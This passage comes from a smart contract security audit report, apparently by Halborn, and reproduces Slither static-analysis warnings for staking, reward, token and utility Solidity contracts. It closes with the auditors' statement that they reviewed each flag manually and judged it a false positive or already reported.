        - RewardManager.getClaimableRewards(address) (src/RewardManager/RewardManager.sol#260-266)
        - RewardManager.settleOperatorRewards(uint256,uint256,address[],uint256[]) (src/RewardManager/RewardManager.sol#113-152)
        - claimable[msg.sender].balance = 0 (src/RewardManager/RewardManager.sol#210)
        RewardV1Storage.claimable_ (src/RewardManager/Storage.sol#42) can be used in cross function reentrancies:
        - RewardManager.getClaimableRewards(address) (src/RewardManager/RewardManager.sol#260-266)
        - RewardManager.settleOperatorRewards(uint256,uint256,address[],uint256[]) (src/RewardManager/RewardManager.sol#113-152)
Reentrancy in RewardManager.receiveRewards(address,uint256) (src/RewardManager/RewardManager.sol#94-102):
        External calls:
        - TokenUtils.pullTokens(bcutToken_,_from,_amount) (src/RewardManager/RewardManager.sol#98)
        State variables written after the call(s):
        - rewards_[epoch].totalRewards = _amount (src/RewardManager/RewardManager.sol#99)
        RewardV1Storage.rewards_ (src/RewardManager/Storage.sol#45) can be used in cross function reentrancies:
        - RewardManager.getEpochOperatorInfo(uint256,address) (src/RewardManager/RewardManager.sol#246-252)
        - RewardManager.getEpochRewards(uint256) (src/RewardManager/RewardManager.sol#230-236)
        - RewardManager.settleOperatorRewards(uint256,uint256,address[],uint256[]) (src/RewardManager/RewardManager.sol#113-152)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-1
INFO:Detectors:
RewardManager._getTotalSum(uint256[]).i (src/RewardManager/RewardManager.sol#274) is a local variable never initialized
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#uninitialized-local-variables
INFO:Detectors:
ERC1967UpgradeUpgradeable._upgradeToAndCall(address,bytes,bool) (lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#65-70) ignores return value by AddressUpgradeable.functi
contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#68)
ERC1967UpgradeUpgradeable._upgradeBeaconToAndCall(address,bytes,bool) (lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#156-162) ignores return value by AddressUpgradeabl
ementation(),data) (lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#160)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return
```

contracts/Staking/*

```
INFO:Detectors:
TokenUtils.pullTokens(IERC20Upgradeable,address,uint256) (src/Utils/TokenUtils.sol#14-22) uses arbitrary from in transferFrom: require(bool,string)(_token.transferFrom(_from,address(this),_amount),Tokens: Couldn't
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#arbitrary-from-in-transferfrom
INFO:Detectors:
GovernanceController.__gap (src/GovernanceController/Governance/Controller.sol#23) shadows:
        - ReentrancyGuardUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/security/ReentrancyGuardUpgradeable.sol#88)
        - AccessControlUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/access/AccessControlUpgradeable.sol#268)
        - ERC165Upgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/ERC165Upgradeable.sol#41)
        - ContextUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/utils/ContextUpgradeable.sol#36)
        - UUPSUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/UUPSUpgradeable.sol#111)
        - ERC1967UpgradeUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#169)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#state-variable-shadowing
INFO:Detectors:
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse = (3 * denominator) ^ 2 (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#116)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#120)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#121)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#122)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#123)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#124)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#125)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - prod0 = prod0 / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#104)
        - result = prod0 * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#131)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply
INFO:Detectors:
ERC1967UpgradeUpgradeable._upgradeToAndCall(address,bytes,bool) (lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#65-78) ignores return value by AddressUpgradeable.functi
contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#68)
ERC1967UpgradeUpgradeable._upgradeBeaconToAndCall(address,bytes,bool) (lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#156-162) ignores return value by AddressUpgradeabl
ementation(),data) (lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#160)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return
INFO:Detectors:
Reentrancy in Staking.delegateBCUT(address,uint256) (src/Staking/Staking.sol#232-266):
        External calls:
        - TokenUtils.pullTokens(bcutToken_,delegator_,_amount) (src/Staking/Staking.sol#263)
        Event emitted after the call(s):
        - DelegatorBalance(delegator_,operator,delegationToOperator_[_operator][delegator].balance,_amount,add) (src/Staking/Staking.sol#265)
Reentrancy in Staking.stakeBCUT(uint256) (src/Staking/Staking.sol#170-203):
        External calls:
        - TokenUtils.pullTokens(bcutToken_,staker,_amount) (src/Staking/Staking.sol#200)
        Event emitted after the call(s):
        - StakerBalance(staker,operatorInfo_[staker].balance,_amount,add) (src/Staking/Staking.sol#201)
Reentrancy in Staking.undelegateBCUT(address,uint256) (src/Staking/Staking.sol#275-295):
        External calls:
        - TokenUtils.pushTokens(bcutToken_,delegator_,_amount) (src/Staking/Staking.sol#293)
        Event emitted after the call(s):
        - DelegatorBalance(delegator_,operator,delegationToOperator_[_operator][delegator].balance,_amount,remove) (src/Staking/Staking.sol#294)
Reentrancy in Staking.unstakeBCUT(uint256) (src/Staking/Staking.sol#209-224):
        External calls:
        - TokenUtils.pushTokens(bcutToken_,staker,_amount) (src/Staking/Staking.sol#222)
        Event emitted after the call(s):
        - StakerBalance(staker,operatorInfo_[staker].balance,_amount,remove) (src/Staking/Staking.sol#223)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-3
```

contracts/Token/*

```
INFO:Detectors:
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse = (3 * denominator) ^ 2 (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#116)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#120)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#121)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#122)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#123)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#124)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#125)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - prod0 = prod0 / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#104)
        - result = prod0 * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#131)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply
INFO:Detectors:
ERC1967UpgradeUpgradeable._upgradeToAndCall(address,bytes,bool) (lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#65-78) ignores return value by AddressUpgradeable.functi
contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#68)
ERC1967UpgradeUpgradeable._upgradeBeaconToAndCall(address,bytes,bool) (lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#156-162) ignores return value by AddressUpgradeabl
ementation(),data) (lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#160)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return
INFO:Detectors:
AddressUpgradeable._revert(bytes,string) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#231-243) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#236-239)
StorageSlotUpgradeable.getAddressSlot(bytes32) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#62-67) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#64-66)
StorageSlotUpgradeable.getBooleanSlot(bytes32) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#72-77) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#74-76)
StorageSlotUpgradeable.getBytes32Slot(bytes32) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#82-87) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#84-86)
StorageSlotUpgradeable.getUint256Slot(bytes32) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#92-97) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#94-96)
StorageSlotUpgradeable.getStringSlot(bytes32) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#102-107) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#104-106)
StorageSlotUpgradeable.getStringSlot(string) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#112-117) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#114-116)
StorageSlotUpgradeable.getBytesSlot(bytes32) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#122-127) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#124-126)
StorageSlotUpgradeable.getBytesSlot(bytes) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#132-137) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#134-136)
StringsUpgradeable.toString(uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StringsUpgradeable.sol#19-39) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StringsUpgradeable.sol#25-27)
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StringsUpgradeable.sol#31-33)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#62-66)
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#85-92)
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#99-108)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#assembly-usage
```

contracts/Utils/*

```
INFO:Detectors:
TokenUtils.pullTokens(IERC20Upgradeable,address,uint256) (src/Utils/TokenUtils.sol#14-22) uses arbitrary from in transferFrom: require(bool,string)(_token.transferFrom(_from,address(this),_amount),Tokens: Couldn't
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#arbitrary-from-in-transferfrom
INFO:Detectors:
Different versions of Solidity are used:
        - Version used: ['0.8.18', '^0.8.0']
        - 0.8.18 (src/Utils/TokenUtils.sol#2)
        - ^0.8.0 (lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/IERC20Upgradeable.sol#4)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#different-pragma-directives-are-used
INFO:Detectors:
TokenUtils.pullTokens(IERC20Upgradeable,address,uint256) (src/Utils/TokenUtils.sol#14-22) is never used and should be removed
TokenUtils.pushTokens(IERC20Upgradeable,address,uint256) (src/Utils/TokenUtils.sol#38-38) is never used and should be removed
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dead-code
INFO:Detectors:
Pragma version^0.8.0 (lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/IERC20Upgradeable.sol#4) allows old versions
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity
INFO:Detectors:
Parameter TokenUtils.pullTokens(IERC20Upgradeable,address,uint256)._token (src/Utils/TokenUtils.sol#15) is not in mixedCase
Parameter TokenUtils.pullTokens(IERC20Upgradeable,address,uint256)._from (src/Utils/TokenUtils.sol#16) is not in mixedCase
Parameter TokenUtils.pullTokens(IERC20Upgradeable,address,uint256)._amount (src/Utils/TokenUtils.sol#17) is not in mixedCase
Parameter TokenUtils.pushTokens(IERC20Upgradeable,address,uint256)._token (src/Utils/TokenUtils.sol#31) is not in mixedCase
Parameter TokenUtils.pushTokens(IERC20Upgradeable,address,uint256)._to (src/Utils/TokenUtils.sol#32) is not in mixedCase
Parameter TokenUtils.pushTokens(IERC20Upgradeable,address,uint256)._amount (src/Utils/TokenUtils.sol#33) is not in mixedCase
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#conformance-to-solidity-naming-conventions
```

AUTOMATED TESTING

All the issues flagged by Slither were manually reviewed by Halborn. Reported issues were either considered as false positives or are already included in the report findings.

THANK YOU FOR CHOOSING

// HALBORN